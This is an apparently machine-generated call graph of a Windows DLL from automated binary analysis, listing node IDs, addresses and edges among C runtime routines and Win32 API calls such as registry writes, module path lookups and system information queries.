56056 6cbe1247 _DecodePointerInternal 55827->56056 55828 6cbdc10e 56058 6cbe13ee 66 API calls std::exception::operator= 55828->56058 55830->55828 56057 6cbdb1d7 76 API calls __cinit 55830->56057 55831 6cbdc118 56059 6cbe14aa 55831->56059 55834 6cbdc129 55836 6cb87c7a __EH_prolog3 55835->55836 56070 6cbd8e54 55836->56070 55839 6cbd8e54 ctype KiUserExceptionDispatcher 55840 6cb87cba 55839->55840 56074 6cb87ce8 55840->56074 55842 6cb87cd9 ctype 55842->55793 55844 6cb8785b RegCloseKey 55843->55844 55845 6cb877f2 RegCreateKeyExW 55843->55845 55846 6cbdb091 __fputwc_nolock 5 API calls 55844->55846 55845->55844 55847 6cb8780f 55845->55847 55849 6cb87874 55846->55849 56315 6cb8787b 55847->56315 55849->55797 55850 6cb8781a RegSetValueExW RegSetValueExW 55850->55844 55852 6cb83e83 __EH_prolog3 55851->55852 55853 6cbb833e ctype 110 API calls 55852->55853 55854 6cb83e9f 55853->55854 55855 6cb8419a ctype 55854->55855 55856 6cbb833e ctype 110 API calls 55854->55856 55855->55804 55857 6cb83eca 55856->55857 56391 6cbb9067 55857->56391 55859 6cb83ed6 55860 6cbd8f0e ctype RtlFreeHeap 55859->55860 55861 6cb83ee5 55860->55861 55862 6cbb833e ctype 110 API calls 55861->55862 55863 6cb83ef3 55862->55863 55864 6cbb9067 ctype 71 API calls 55863->55864 55865 6cb83eff 55864->55865 55866 6cbd8f0e ctype RtlFreeHeap 55865->55866 55867 6cb83f0e 55866->55867 55868 6cbb833e ctype 110 API calls 55867->55868 55869 6cb83f1c 55868->55869 55870 6cbb9067 ctype 71 API calls 55869->55870 55871 6cb83f28 55870->55871 55872 6cbd8f0e ctype RtlFreeHeap 55871->55872 55873 6cb83f37 55872->55873 55874 6cbb833e ctype 110 API calls 55873->55874 55875 6cb83f45 55874->55875 55876 6cbb9067 ctype 71 API calls 55875->55876 55877 6cb83f51 55876->55877 55878 6cbd8f0e ctype RtlFreeHeap 55877->55878 55879 6cb83f60 55878->55879 55880 6cbb833e ctype 110 API calls 55879->55880 55881 6cb83f6e 55880->55881 55882 6cbb9067 ctype 71 API calls 55881->55882 55883 6cb83f7a 55882->55883 55884 6cbd8f0e ctype RtlFreeHeap 55883->55884 55885 6cb83f89 55884->55885 55886 6cbb833e ctype 110 API calls 55885->55886 55887 6cb83f97 55886->55887 55888 6cbb9067 ctype 71 API calls 55887->55888 55889 6cb83fa3 55888->55889 55890 6cbd8f0e ctype RtlFreeHeap 55889->55890 55891 6cb83fb2 55890->55891 55892 6cbb833e ctype 110 API calls 55891->55892 55893 6cb83fc0 55892->55893 55894 6cbb9067 ctype 71 API calls 55893->55894 55895 6cb83fcc 55894->55895 55896 6cbd8f0e ctype RtlFreeHeap 55895->55896 55897 6cb83fdb 55896->55897 55898 6cbb833e ctype 110 API calls 55897->55898 55899 6cb83fe9 55898->55899 55900 6cbb9067 ctype 71 API calls 55899->55900 55901 6cb83ff5 55900->55901 55902 6cbd8f0e ctype RtlFreeHeap 55901->55902 55903 6cb84004 55902->55903 55904 6cbb833e ctype 110 API calls 55903->55904 55905 6cb84012 55904->55905 55906 6cbb9067 ctype 71 API calls 55905->55906 55907 6cb8401e 55906->55907 55908 6cbd8f0e ctype RtlFreeHeap 55907->55908 55909 6cb8402d 55908->55909 55910 6cbb833e ctype 110 API calls 55909->55910 55911 6cb8403b 55910->55911 55912 6cbb9067 ctype 71 API calls 55911->55912 55913 6cb84047 55912->55913 55914 6cbd8f0e ctype RtlFreeHeap 55913->55914 55915 6cb84056 55914->55915 55916 6cbb833e ctype 110 API calls 55915->55916 55917 6cb84064 55916->55917 55918 6cbb9067 ctype 71 API calls 55917->55918 55919 6cb84070 55918->55919 55920 6cbd8f0e ctype RtlFreeHeap 55919->55920 55921 6cb8407f 55920->55921 55922 6cbb833e ctype 110 API calls 55921->55922 55923 6cb8408d 55922->55923 55924 6cbb9067 ctype 71 API calls 55923->55924 55925 6cb84099 55924->55925 55926 6cbd8f0e ctype RtlFreeHeap 55925->55926 55927 6cb840a8 55926->55927 55928 6cbb833e ctype 110 API calls 55927->55928 55929 6cb840b6 55928->55929 55930 6cbb9067 ctype 71 API calls 55929->55930 55931 6cb840c2 55930->55931 55932 6cbd8f0e ctype RtlFreeHeap 55931->55932 55933 6cb840d1 55932->55933 55934 6cbb833e ctype 110 API calls 55933->55934 55935 6cb840df 55934->55935 55936 6cbb9067 ctype 71 API calls 55935->55936 55937 6cb840eb 55936->55937 55938 6cbd8f0e ctype RtlFreeHeap 55937->55938 55939 6cb840fa 55938->55939 55940 6cbb833e ctype 110 API calls 55939->55940 55941 6cb84108 55940->55941 55942 6cbb9067 ctype 71 API calls 55941->55942 55943 6cb84114 55942->55943 55944 6cbd8f0e ctype RtlFreeHeap 55943->55944 55945 6cb84123 55944->55945 55946 6cbb833e ctype 110 API calls 55945->55946 55947 6cb84131 55946->55947 55948 6cbb9067 ctype 71 API calls 55947->55948 55949 6cb8413d 55948->55949 55950 6cbd8f0e ctype RtlFreeHeap 55949->55950 55951 6cb8414c 55950->55951 55952 6cbb833e ctype 110 API calls 55951->55952 55953 6cb8415a 55952->55953 55954 6cbb9067 ctype 71 API calls 55953->55954 55955 6cb84166 55954->55955 55956 6cbd8f0e ctype RtlFreeHeap 55955->55956 55957 6cb84175 55956->55957 55958 6cbb833e ctype 110 API calls 55957->55958 55959 6cb84183 55958->55959 55960 6cbb9067 ctype 71 API calls 55959->55960 55961 6cb8418f 55960->55961 55962 6cbd8f0e ctype RtlFreeHeap 55961->55962 55962->55855 55964 6cb83e77 ctype 114 API calls 55963->55964 55965 6cbc92d0 55964->55965 56436 6cb84486 55965->56436 55968 6cbd8f0e ctype RtlFreeHeap 55969 6cbc92f4 55968->55969 55975 6cbc92f8 55969->55975 56439 6cb8423c 111 API calls ctype 55969->56439 55971 6cbc9320 55974 6cb83a16 ctype 111 API calls 55971->55974 55971->55975 55972 6cb841a9 ctype 67 API calls 55973 6cbb7793 55972->55973 55976 6cb8420c 55973->55976 55974->55975 55975->55972 55977 6cb841d6 111 API calls 55976->55977 55978 6cb84216 55977->55978 55979 6cb8422a 55978->55979 55980 6cb83a16 ctype 111 API calls 55978->55980 55981 6cb83a16 55979->55981 55980->55979 55982 6cb83a22 __EH_prolog3 55981->55982 55983 6cbb833e ctype 110 API calls 55982->55983 55984 6cb83a36 55983->55984 56520 6cbb88d1 55984->56520 55987 6cbd8eab ctype 67 API calls 55988 6cb83a50 55987->55988 55989 6cbb88d1 ctype 102 API calls 55988->55989 55990 6cb83a62 55989->55990 56527 6cbb8cd5 55990->56527 55992 6cb83a73 56533 6cbb8c7a 55992->56533 55994 6cb83a8f ctype 55995 6cbb8cd5 ctype 101 API calls 55994->55995 55999 6cb83ad6 ctype 55994->55999 55996 6cb83abc 55995->55996 55997 6cbb8c7a ctype 101 API calls 55996->55997 55997->55999 55998 6cb83b0c 56001 6cb83b1f 55998->56001 56002 6cbd8f0e ctype RtlFreeHeap 55998->56002 55999->55998 56000 6cbd8f0e ctype RtlFreeHeap 55999->56000 56000->55998 56003 6cb83b32 56001->56003 56005 6cbd8f0e ctype RtlFreeHeap 56001->56005 56002->56001 56004 6cb83b4c 56003->56004 56006 6cbd8f0e ctype RtlFreeHeap 56003->56006 56007 6cbb8cd5 ctype 101 API calls 56004->56007 56009 6cb83b52 56004->56009 56005->56003 56006->56004 56008 6cb83b6b 56007->56008 56539 6cbb8a98 56008->56539 56011 6cbd8f0e ctype RtlFreeHeap 56009->56011 56013 6cb83c74 56011->56013 56015 6cbd8f0e ctype RtlFreeHeap 56013->56015 56017 6cb83c7f ctype 56015->56017 56017->55810 56018 6cb83bf2 56020 6cb83c13 56018->56020 56022 6cbd8f0e ctype RtlFreeHeap 56018->56022 56019 6cbb8cd5 ctype 101 API calls 56021 6cb83bb6 56019->56021 56023 6cb83c26 56020->56023 56026 6cbd8f0e ctype RtlFreeHeap 56020->56026 56024 6cbb8a98 ctype 67 API calls 56021->56024 56022->56020 56027 6cb83c39 56023->56027 56029 6cbd8f0e ctype RtlFreeHeap 56023->56029 56025 6cb83bda 56024->56025 56028 6cbb85bc ctype KiUserExceptionDispatcher 56025->56028 56026->56023 56027->56009 56030 6cbd8f0e ctype RtlFreeHeap 56027->56030 56028->56018 56029->56027 56030->56009 56032 6cb83a16 ctype 111 API calls 56031->56032 56033 6cb841e9 56032->56033 56034 6cb841fa 56033->56034 56035 6cb83a16 ctype 111 API calls 56033->56035 56036 6cb841a9 56034->56036 56035->56034 56622 6cbc657a 56036->56622 56040 6cbdc030 56039->56040 56044 6cbdbfc1 56039->56044 56068 6cbe1247 _DecodePointerInternal 56040->56068 56042 6cbdc036 56069 6cbdbd29 66 API calls __getptd_noexit 56042->56069 56043 6cbdbfcc 56043->56044 56062 6cbe11f5 66 API calls 2 library calls 56043->56062 56063 6cbe1041 66 API calls 8 library calls 56043->56063 56064 6cbdd835 GetModuleHandleW GetProcAddress ExitProcess ___crtCorExitProcess 56043->56064 56044->56043 56047 6cbdbfef RtlAllocateHeap 56044->56047 56050 6cbdc01c 56044->56050 56054 6cbdc01a 56044->56054 56065 6cbe1247 _DecodePointerInternal 56044->56065 56047->56044 56048 6cbdc028 56047->56048 56048->55827 56066 6cbdbd29 66 API calls __getptd_noexit 56050->56066 56067 6cbdbd29 66 API calls __getptd_noexit 56054->56067 56056->55827 56057->55828 56058->55831 56060 6cbe14df KiUserExceptionDispatcher 56059->56060 56061 6cbe14d3 56059->56061 56060->55834 56061->56060 56062->56043 56063->56043 56065->56044 56066->56054 56067->56048 56068->56042 56069->56048 56071 6cbd8e58 56070->56071 56072 6cb87cad 56070->56072 56098 6cbd8e8c 56071->56098 56072->55839 56075 6cb87cf4 __EH_prolog3 56074->56075 56101 6cbb833e 56075->56101 56077 6cb87d16 56109 6cb87ee4 56077->56109 56079 6cb87d25 56117 6cbd8f0e 56079->56117 56083 6cb87d3d ctype 56084 6cbd8f0e ctype RtlFreeHeap 56083->56084 56085 6cb87d5c 56084->56085 56086 6cb85dd0 113 API calls 56085->56086 56087 6cb87d65 ctype 56086->56087 56088 6cbd8f0e ctype RtlFreeHeap 56087->56088 56089 6cb87d8a ctype 56088->56089 56135 6cb85485 56089->56135 56091 6cb87daf ctype 56092 6cbd8f0e ctype RtlFreeHeap 56091->56092 56093 6cb87dd4 56092->56093 56145 6cb8575e 56093->56145 56095 6cb87ddd ctype 56096 6cbd8f0e ctype RtlFreeHeap 56095->56096 56097 6cb87e02 ctype 56096->56097 56097->55842 56099 6cbe14aa __CxxThrowException@8 KiUserExceptionDispatcher 56098->56099 56100 6cbd8ea5 56099->56100 56102 6cbb834a __EH_prolog3 56101->56102 56103 6cbd8e54 ctype KiUserExceptionDispatcher 56102->56103 56104 6cbb8357 56103->56104 56150 6cbbfe8a 56104->56150 56107 6cbb8371 ctype 56107->56077 56110 6cb87ef0 __EH_prolog3 56109->56110 56233 6cbd8eab 56110->56233 56115 6cbd8f0e ctype RtlFreeHeap 56116 6cb87f26 ctype 56115->56116 56116->56079 56118 6cbd8f1d 56117->56118 56119 6cb87d34 56117->56119 56249 6cbe54f2 56118->56249 56121 6cb85dd0 56119->56121 56122 6cb85ddc __EH_prolog3 56121->56122 56252 6cb85c6f 56122->56252 56124 6cb85df0 56125 6cbd8eab ctype 67 API calls 56124->56125 56126 6cb85e01 56125->56126 56262 6cb85e41 56126->56262 56128 6cb85e13 56129 6cbb84b9 ctype 101 API calls 56128->56129 56130 6cb85e1c 56129->56130 56131 6cbd8f0e ctype RtlFreeHeap 56130->56131 56132 6cb85e27 56131->56132 56133 6cbd8f0e ctype RtlFreeHeap 56132->56133 56134 6cb85e32 ctype 56133->56134 56134->56083 56297 6cbe6e1a 56135->56297 56137 6cb85491 GetModuleHandleW 56138 6cb854b3 GetProcAddress 56137->56138 56139 6cb854a6 56137->56139 56141 6cb854cb GetNativeSystemInfo 56138->56141 56142 6cb854c5 56138->56142 56140 6cbb833e ctype 110 API calls 56139->56140 56144 6cb854b1 ctype 56140->56144 56298 6cb84ea3 56141->56298 56142->56141 56144->56091 56309 6cb85727 GetModuleHandleW 56145->56309 56149 6cb8578e 56149->56095 56151 6cbb8364 56150->56151 56152 6cbbfe96 56150->56152 56151->56107 56154 6cbd8c76 56151->56154 56152->56151 56158 6cbb8b33 110 API calls ctype 56152->56158 56155 6cbd8c84 ctype 56154->56155 56159 6cbd8bdc 56155->56159 56158->56151 56160 6cbd8be9 56159->56160 56161 6cbd8bf0 56159->56161 56180 6cbd8b95 KiUserExceptionDispatcher RtlFreeHeap ctype 56160->56180 56163 6cbd8c02 56161->56163 56164 6cbd8e8c ctype KiUserExceptionDispatcher 56161->56164 56174 6cbd8d91 56163->56174 56164->56163 56166 6cbd8bee 56166->56107 56168 6cbd8c1d 56181 6cbdb6ef 66 API calls 2 library calls 56168->56181 56169 6cbd8c31 56182 6cbdb1f3 56169->56182 56172 6cbd8c2f 56191 6cbd8dcd 56172->56191 56175 6cbd8d9c 56174->56175 56176 6cbd8da6 56174->56176 56177 6cbd8e8c ctype KiUserExceptionDispatcher 56175->56177 56178 6cbd8c14 56176->56178 56205 6cbd8d3a 56176->56205 56177->56176 56178->56168 56178->56169 56180->56166 56181->56172 56183 6cbdb204 _memset 56182->56183 56187 6cbdb200 _memmove 56182->56187 56184 6cbdb20a 56183->56184 56183->56187 56188 6cbdb24f 56183->56188 56228 6cbdbd29 66 API calls __getptd_noexit 56184->56228 56186 6cbdb20f 56229 6cbdecf4 11 API calls __controlfp_s 56186->56229 56187->56172 56188->56187 56230 6cbdbd29 66 API calls __getptd_noexit 56188->56230 56192 6cbd8dd1 56191->56192 56193 6cbd8dd8 56192->56193 56194 6cbd8e8c ctype KiUserExceptionDispatcher 56192->56194 56193->56166 56195 6cbd8dee 56194->56195 56197 6cbd8e8c ctype KiUserExceptionDispatcher 56195->56197 56198 6cbd8e27 56195->56198 56231 6cbdb4c9 66 API calls _vwprintf 56195->56231 56197->56195 56199 6cbd8d91 ctype 70 API calls 56198->56199 56200 6cbd8e2d 56199->56200 56232 6cbdb446 97 API calls _vswprintf_s 56200->56232 56202 6cbd8e3d 56203 6cbd8dcd ctype 101 API calls 56202->56203 56204 6cbd8e49 56203->56204 56204->56166 56206 6cbd8d4b 56205->56206 56207 6cbd8d5c 56206->56207 56208 6cbd8d53 56206->56208 56210 6cbd8d5a 56207->56210 56222 6cbd8d0b 56207->56222 56212 6cbd8c9e 56208->56212 56210->56178 56213 6cbd8cba 56212->56213 56221 6cbe563e RtlAllocateHeap 56213->56221 56214 6cbd8cc5 56215 6cbd8cd0 56214->56215 56216 6cbd77cf ctype KiUserExceptionDispatcher 56214->56216 56217 6cbdb1f3 _memcpy_s 66 API calls 56215->56217 56216->56215 56218 6cbd8ce9 56217->56218 56219 6cbd8f0e ctype RtlFreeHeap 56218->56219 56220 6cbd8cfa 56219->56220 56220->56210 56221->56214 56223 6cbd8d25 56222->56223 56224 6cbd8d17 56222->56224 56225 6cbd77cf ctype KiUserExceptionDispatcher 56223->56225 56226 6cbd8d2f 56223->56226 56224->56223 56227 6cbe56a7 RtlReAllocateHeap 56224->56227 56225->56226 56226->56210 56227->56223 56228->56186 56229->56187 56230->56186 56231->56195 56232->56202 56236 6cbd8eb8 56233->56236 56234 6cb87f06 56239 6cbb84b9 56234->56239 56235 6cbd8ee5 56238 6cbdb1f3 _memcpy_s 66 API calls 56235->56238 56236->56234 56236->56235 56248 6cbd77cf KiUserExceptionDispatcher ctype 56236->56248 56238->56234 56240 6cbb84c8 56239->56240 56247 6cb87f1e 56239->56247 56241 6cbb84ea 56240->56241 56243 6cbb84d5 56240->56243 56242 6cbd8bdc ctype 101 API calls 56241->56242 56242->56247 56244 6cbd8eab ctype 67 API calls 56243->56244 56245 6cbb84da 56244->56245 56246 6cbd8f0e ctype RtlFreeHeap 56245->56246 56246->56247 56247->56115 56248->56235 56250 6cbe54fd RtlFreeHeap 56249->56250 56251 6cbe550b 56249->56251 56250->56251 56251->56119 56253 6cb85c7b __EH_prolog3 56252->56253 56254 6cb85cb4 56253->56254 56255 6cbd8d3a ctype 70 API calls 56253->56255 56256 6cb85cc6 GetModuleFileNameW 56254->56256 56257 6cbd8e8c ctype KiUserExceptionDispatcher 56254->56257 56255->56254 56258 6cbb833e ctype 110 API calls 56256->56258 56257->56256 56259 6cb85ce8 56258->56259 56260 6cbd8f0e ctype RtlFreeHeap 56259->56260 56261 6cb85cf0 ctype 56260->56261 56261->56124 56263 6cb85e4d __EH_prolog3 56262->56263 56264 6cbb833e ctype 110 API calls 56263->56264 56265 6cb85e66 56264->56265 56266 6cbd8eab ctype 67 API calls 56265->56266 56267 6cb85e77 PathFindFileNameW 56266->56267 56268 6cb85e8e PathFindExtensionW 56267->56268 56270 6cb85eab 56268->56270 56283 6cbb89f0 56270->56283 56275 6cbb84b9 ctype 101 API calls 56276 6cb85ee2 56275->56276 56277 6cbd8f0e ctype RtlFreeHeap 56276->56277 56278 6cb85eed 56277->56278 56279 6cbd8f0e ctype RtlFreeHeap 56278->56279 56280 6cb85ef8 56279->56280 56281 6cbd8f0e ctype RtlFreeHeap 56280->56281 56282 6cb85f03 ctype 56281->56282 56282->56128 56284 6cbb8a15 ctype 67 API calls 56283->56284 56285 6cb85ec4 56284->56285 56286 6cbb8a15 56285->56286 56287 6cbb8a2a 56286->56287 56288 6cbb8a6d 56287->56288 56291 6cbb8a3d 56287->56291 56289 6cbd8e8c ctype KiUserExceptionDispatcher 56288->56289 56290 6cbb8a77 ctype 56289->56290 56296 6cbbfeb7 67 API calls 2 library calls 56290->56296 56291->56290 56292 6cbb8a5b 56291->56292 56293 6cbd8eab ctype 67 API calls 56292->56293 56295 6cb85ed9 56293->56295 56295->56275 56296->56295 56297->56137 56303 6cb84fd5 56298->56303 56301 6cbb833e ctype 110 API calls 56302 6cb84f56 56301->56302 56302->56144 56307 6cb84ffd 56303->56307 56304 6cb85001 56305 6cbdb091 __fputwc_nolock 5 API calls 56304->56305 56306 6cb84eb2 56305->56306 56306->56301 56307->56304 56308 6cb85085 GetSystemMetrics 56307->56308 56308->56304 56310 6cb8573b GetProcAddress 56309->56310 56311 6cb85755 56309->56311 56312 6cb8574b 56310->56312 56313 6cb8574e GetSystemInfo 56310->56313 56314 6cb85847 110 API calls 2 library calls 56311->56314 56312->56313 56313->56311 56314->56149 56316 6cb87887 __EH_prolog3 56315->56316 56317 6cb8789e RegOpenKeyExW 56316->56317 56323 6cb87938 ctype 56316->56323 56318 6cb87908 SHGetFolderPathW 56317->56318 56319 6cb878c2 RegQueryValueExW RegCloseKey 56317->56319 56321 6cb8791d 56318->56321 56322 6cb8793e 56318->56322 56319->56318 56320 6cb878ef GetFileAttributesW 56319->56320 56320->56318 56324 6cb87900 56320->56324 56338 6cbdb8ad 56321->56338 56347 6cb85d3f 56322->56347 56323->55850 56324->56323 56328 6cb87930 GetFileAttributesW 56328->56322 56328->56323 56329 6cb8795e 56360 6cbb8e8b 56329->56360 56332 6cbd8f0e ctype RtlFreeHeap 56333 6cb8797c 56332->56333 56366 6cbdb927 56333->56366 56336 6cb87991 56337 6cbd8f0e ctype RtlFreeHeap 56336->56337 56337->56323 56339 6cbdb8c2 56338->56339 56341 6cbdb8bb 56338->56341 56375 6cbdbd29 66 API calls __getptd_noexit 56339->56375 56341->56339 56344 6cbdb8f7 56341->56344 56343 6cb87929 56343->56322 56343->56328 56344->56343 56377 6cbdbd29 66 API calls __getptd_noexit 56344->56377 56346 6cbdb8c7 56376 6cbdecf4 11 API calls __controlfp_s 56346->56376 56348 6cb85d4b __EH_prolog3 56347->56348 56349 6cb85d8c GetModuleFileNameW 56348->56349 56351 6cbd8d3a ctype 70 API calls 56348->56351 56378 6cbd8afc 56349->56378 56353 6cb85d89 56351->56353 56353->56349 56354 6cbb833e ctype 110 API calls 56355 6cb85dad 56354->56355 56383 6cbb8f73 56355->56383 56358 6cbd8f0e ctype RtlFreeHeap 56359 6cb85dc0 ctype 56358->56359 56359->56329 56361 6cbb8ea9 56360->56361 56362 6cbb8eb0 PathCombineW 56360->56362 56363 6cbd8d3a ctype 70 API calls 56361->56363 56364 6cbd8afc ctype KiUserExceptionDispatcher 56362->56364 56363->56362 56365 6cb87971 56364->56365 56365->56332 56367 6cbdb93c 56366->56367 56368 6cbdb935 56366->56368 56388 6cbdbd29 66 API calls __getptd_noexit 56367->56388 56368->56367 56373 6cbdb95d 56368->56373 56370 6cbdb941 56389 6cbdecf4 11 API calls __controlfp_s 56370->56389 56372 6cb87986 GetFileAttributesW 56372->56336 56373->56372 56390 6cbdbd29 66 API calls __getptd_noexit 56373->56390 56375->56346 56376->56343 56377->56346 56381 6cbd8b01 _wcsnlen 56378->56381 56379 6cb85da4 56379->56354 56380 6cbd8e8c ctype KiUserExceptionDispatcher 56382 6cbd8b34 56380->56382 56381->56379 56381->56380 56384 6cbd8d91 ctype 70 API calls 56383->56384 56385 6cbb8f83 PathRemoveFileSpecW 56384->56385 56386 6cbd8afc ctype KiUserExceptionDispatcher 56385->56386 56387 6cb85db8 56386->56387 56387->56358 56388->56370 56389->56372 56390->56370 56395 6cbb9073 __EH_prolog3 56391->56395 56392 6cbb90b5 56394 6cbd8eab ctype 67 API calls 56392->56394 56398 6cbb90db ctype 56392->56398 56393 6cbb9094 56393->56398 56399 6cbdbe92 56393->56399 56394->56398 56395->56392 56395->56393 56396 6cbd8e8c ctype KiUserExceptionDispatcher 56395->56396 56396->56393 56398->55859 56400 6cbdbebc 56399->56400 56401 6cbdbea1 56399->56401 56403 6cbdbed1 56400->56403 56430 6cbde733 67 API calls __controlfp_s 56400->56430 56401->56400 56402 6cbdbead 56401->56402 56429 6cbdbd29 66 API calls __getptd_noexit 56402->56429 56408 6cbe0f64 56403->56408 56407 6cbdbeb2 _memset 56407->56392 56409 6cbe0f6f 56408->56409 56410 6cbe0f7a 56408->56410 56411 6cbdbfb3 _malloc 66 API calls 56409->56411 56412 6cbe0f82 56410->56412 56420 6cbe0f8f 56410->56420 56413 6cbe0f77 56411->56413 56414 6cbdbe0e _free 66 API calls 56412->56414 56413->56407 56426 6cbe0f8a __dosmaperr 56414->56426 56415 6cbe0fc7 56432 6cbe1247 _DecodePointerInternal 56415->56432 56416 6cbe0f97 RtlReAllocateHeap 56416->56420 56416->56426 56418 6cbe0fcd 56433 6cbdbd29 66 API calls __getptd_noexit 56418->56433 56419 6cbe0ff7 56435 6cbdbd29 66 API calls __getptd_noexit 56419->56435 56420->56415 56420->56416 56420->56419 56425 6cbe0fdf 56420->56425 56431 6cbe1247 _DecodePointerInternal 56420->56431 56424 6cbe0ffc GetLastError 56424->56426 56434 6cbdbd29 66 API calls __getptd_noexit 56425->56434 56426->56407 56428 6cbe0fe4 GetLastError 56428->56426 56429->56407 56430->56403 56431->56420 56432->56418 56433->56426 56434->56428 56435->56424 56440 6cb83c8f 56436->56440 56438 6cb844a0 56438->55968 56439->55971 56441 6cb83c9b __EH_prolog3 56440->56441 56442 6cbb833e ctype 110 API calls 56441->56442 56443 6cb83cb7 56442->56443 56444 6cbd8e54 ctype KiUserExceptionDispatcher 56443->56444 56445 6cb83cca 56444->56445 56446 6cb83a16 ctype 111 API calls 56445->56446 56447 6cb83cdd 56446->56447 56448 6cbb89f0 ctype 67 API calls 56447->56448 56482 6cb83ded 56447->56482 56451 6cb83cfe 56448->56451 56449 6cbd8f0e ctype RtlFreeHeap 56450 6cb83e36 ctype 56449->56450 56450->56438 56452 6cbb84b9 ctype 101 API calls 56451->56452 56453 6cb83d07 56452->56453 56454 6cbd8f0e ctype RtlFreeHeap 56453->56454 56455 6cb83d16 56454->56455 56483 6cbb8989 56455->56483 56459 6cb83d29 ctype 56460 6cbd8f0e ctype RtlFreeHeap 56459->56460 56461 6cb83d48 56460->56461 56462 6cb83d50 56461->56462 56465 6cb83def _wcspbrk 56461->56465 56463 6cbb89f0 ctype 67 API calls 56462->56463 56464 6cb83d5e 56463->56464 56466 6cbb84b9 ctype 101 API calls 56464->56466 56469 6cbb8aed ctype 67 API calls 56465->56469 56465->56482 56467 6cb83d67 56466->56467 56468 6cbd8f0e ctype RtlFreeHeap 56467->56468 56473 6cb83d76 ctype 56468->56473 56470 6cb83e17 56469->56470 56471 6cbb84b9 ctype 101 API calls 56470->56471 56472 6cb83e20 56471->56472 56474 6cbd8f0e ctype RtlFreeHeap 56472->56474 56475 6cbb8aed ctype 67 API calls 56473->56475 56473->56482 56474->56482 56476 6cb83dc5 56475->56476 56477 6cbb84b9 ctype 101 API calls 56476->56477 56478 6cb83dce 56477->56478 56479 6cbd8f0e ctype RtlFreeHeap 56478->56479 56480 6cb83ddd 56479->56480 56501 6cbb8636 101 API calls 2 library calls 56480->56501 56482->56449 56502 6cbb8931 56483->56502 56486 6cbb8992 56487 6cbb89a9 56486->56487 56510 6cbdc49f 56486->56510 56488 6cbd8d91 ctype 70 API calls 56487->56488 56493 6cb83d1d 56487->56493 56489 6cbb89bc 56488->56489 56513 6cbd7942 67 API calls 2 library calls 56489->56513 56491 6cbb89d9 56492 6cbd8dcd ctype 101 API calls 56491->56492 56492->56493 56494 6cbb8aed 56493->56494 56495 6cbb8b02 56494->56495 56496 6cbb8b0b 56495->56496 56498 6cbb8b1a ctype 56495->56498 56497 6cbd8eab ctype 67 API calls 56496->56497 56499 6cbb8b13 56497->56499 56519 6cbbfeb7 67 API calls 2 library calls 56498->56519 56499->56459 56501->56482 56503 6cbb897e 56502->56503 56504 6cbb8944 56502->56504 56503->56486 56505 6cbdc49f ctype GetStringTypeW 56504->56505 56506 6cbb8967 56504->56506 56505->56504 56506->56503 56507 6cbd8d91 ctype 70 API calls 56506->56507 56508 6cbb8975 56507->56508 56509 6cbd8dcd ctype 101 API calls 56508->56509 56509->56503 56514 6cbe094f 56510->56514 56512 6cbdc4ae 56512->56486 56513->56491 56515 6cbe0964 56514->56515 56516 6cbe0960 56514->56516 56517 6cbe097f GetStringTypeW 56515->56517 56518 6cbe096f 56515->56518 56516->56512 56517->56518 56518->56512 56519->56499 56521 6cbd8d91 ctype 70 API calls 56520->56521 56522 6cbb88e2 56521->56522 56550 6cbdcb99 56522->56550 56525 6cbd8dcd ctype 101 API calls 56526 6cb83a42 56525->56526 56526->55987 56528 6cbb8ce1 __EH_prolog3 ctype 56527->56528 56529 6cbd8e54 ctype KiUserExceptionDispatcher 56528->56529 56530 6cbb8cfa ctype 56529->56530 56612 6cbbffa8 56530->56612 56532 6cbb8d21 ctype 56532->55992 56534 6cbb8c86 __EH_prolog3 ctype 56533->56534 56535 6cbd8e54 ctype KiUserExceptionDispatcher 56534->56535 56536 6cbb8c9f ctype 56535->56536 56537 6cbbffa8 ctype 101 API calls 56536->56537 56538 6cbb8cc2 ctype 56537->56538 56538->55994 56540 6cbb8aab 56539->56540 56541 6cbb8ab6 56540->56541 56543 6cbb8ac8 ctype 56540->56543 56542 6cbd8eab ctype 67 API calls 56541->56542 56545 6cb83b8c 56542->56545 56621 6cbbfeb7 67 API calls 2 library calls 56543->56621 56546 6cbb85bc 56545->56546 56547 6cbb85c5 56546->56547 56549 6cb83ba1 56546->56549 56548 6cbd8e8c ctype KiUserExceptionDispatcher 56547->56548 56548->56549 56549->56018 56549->56019 56553 6cbdcb61 56550->56553 56558 6cbdc12f 56553->56558 56559 6cbdc142 56558->56559 56562 6cbdc18f 56558->56562 56599 6cbdd3d1 66 API calls 2 library calls 56559->56599 56561 6cbdc16f 56561->56562 56601 6cbe172d 68 API calls 5 library calls 56561->56601 56566 6cbdc9ec 56562->56566 56563 6cbdc147 56563->56561 56600 6cbe1edb 74 API calls 6 library calls 56563->56600 56567 6cbdca1c _wcsnlen 56566->56567 56568 6cbdca08 56566->56568 56567->56568 56571 6cbdca33 56567->56571 56602 6cbdbd29 66 API calls __getptd_noexit 56568->56602 56570 6cbdca0d 56603 6cbdecf4 11 API calls __controlfp_s 56570->56603 56576 6cbdca17 56571->56576 56604 6cbe2016 LCMapStringW _wcsnlen 56571->56604 56574 6cbdca79 56577 6cbdca9c 56574->56577 56578 6cbdca85 56574->56578 56575 6cbdb091 __fputwc_nolock 5 API calls 56579 6cbb88ec 56575->56579 56576->56575 56581 6cbdcaa1 56577->56581 56588 6cbdcab2 56577->56588 56605 6cbdbd29 66 API calls __getptd_noexit 56578->56605 56579->56525 56607 6cbdbd29 66 API calls __getptd_noexit 56581->56607 56582 6cbdca8a 56606 6cbdbd29 66 API calls __getptd_noexit 56582->56606 56584 6cbdcafd 56608 6cbdbd29 66 API calls __getptd_noexit 56584->56608 56585 6cbdcb0a 56609 6cbe2016 LCMapStringW _wcsnlen 56585->56609 56591 6cbdcacd _wcsupr_s_l_stat 56588->56591 56592 6cbdbfb3 _malloc 66 API calls 56588->56592 56590 6cbdcb1d 56593 6cbdcb35 56590->56593 56594 6cbdcb24 56590->56594 56591->56584 56591->56585 56592->56591 56610 6cbdbd29 66 API calls __getptd_noexit 56593->56610 56595 6cbdb927 _wcsupr_s_l_stat 66 API calls 56594->56595 56597 6cbdcb2e 56595->56597 56611 6cbdc244 66 API calls _free 56597->56611 56599->56563 56600->56561 56601->56562 56602->56570 56603->56576 56604->56574 56605->56582 56606->56576 56607->56570 56608->56582 56609->56590 56610->56597 56611->56576 56613 6cbd8d91 ctype 70 API calls 56612->56613 56614 6cbbffc2 56613->56614 56615 6cbdb1f3 _memcpy_s 66 API calls 56614->56615 56616 6cbbffd3 56615->56616 56617 6cbdb1f3 _memcpy_s 66 API calls 56616->56617 56618 6cbbffe3 56617->56618 56619 6cbd8dcd ctype 101 API calls 56618->56619 56620 6cbbfff1 56619->56620 56620->56532 56621->56545 56626 6cbc6583 